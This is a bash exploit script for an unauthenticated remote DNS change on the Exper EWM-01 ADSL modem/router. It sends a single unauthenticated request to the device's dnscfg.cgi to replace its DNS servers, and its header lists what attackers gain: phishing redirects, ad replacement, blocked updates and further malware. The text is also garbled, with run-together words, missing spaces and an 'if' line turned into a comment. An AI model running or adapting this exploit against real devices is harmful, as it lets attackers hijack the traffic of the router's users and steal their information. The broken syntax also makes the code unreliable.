#!/bin/bash
#
#Exper EWM-01 ADSL/MODEM #Unauthenticated Remote DNS Change Exploit
#
#Copyright 2016(c) Todor Donev <todor.donev at gmail.com>#https://www.ethical-hacker.org/#https://www.facebook.com/ethicalhackerorg
#
#Description:#The vulnerability exist in the web interface, which is #accessiblewithout authentication.
#
#Once modified, systems use foreign DNS servers,which are #usuallyset up by cybercriminals. Users with vulnerable #systemsor devices who try to access certain sites are #insteadredirected to possibly malicious sites.
#
#Modifying systems' DNS settings allows cybercriminals to #performmalicious activities like:
#
#oSteering unknowing users to bad sites:#These sites can be phishing pages that #spoofwell-known sites in order to #trickusers into handing out sensitive #information.
#
#oReplacing ads on legitimate sites:#Visiting certain sites can serve users #withinfected systems a different set #ofads from those whose systems are #notinfected.
#
#oControlling and redirecting network traffic:#Users of infected systems may not be granted #accessto download important OS and software #updatesfrom vendors like Microsoft and from #theirrespective security vendors.
#
#oPushing additional malware:#Infected systems are more prone to other #malwareinfections(e.g., FAKEAV infection).
#
#Disclaimer:#This or previous programs is for Educational #purposeONLY. Do not use it without permission.#The usual disclaimer applies, especially the #factthat Todor Donev is not liable for any #damagescaused by direct or indirect use of the #informationor functionality provided by these #programs. The author or any Internet provider #bearsNO responsibility for content or misuse #ofthese programs or any derivatives thereof.#By using these programs you accept the fact #thatany damage(dataloss, system crash,#systemcompromise, etc.) caused by the use #ofthese programs is not Todor Donev's #responsibility.
#
#Use them at your own risk!
#
#if[[ $# -gt 3|| $# -lt 2]]; then
echo " Exper EWM-01 ADSL MODEM/ROUTER"
echo " Unauthenticated Remote DNS Change Exploit"
echo "==================================================================="
echo "Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
echo "Example: $0 133.7.133.7 8.8.8.8"
echo "Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
echo ""
echo "Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>"
echo "https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
exit;
fi
GET=`which GET 2>/dev/null`
if[ $?-ne 0]; then
echo "Error : libwww-perl not found =/"
exit;
fi
GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1"0&>/dev/null <&1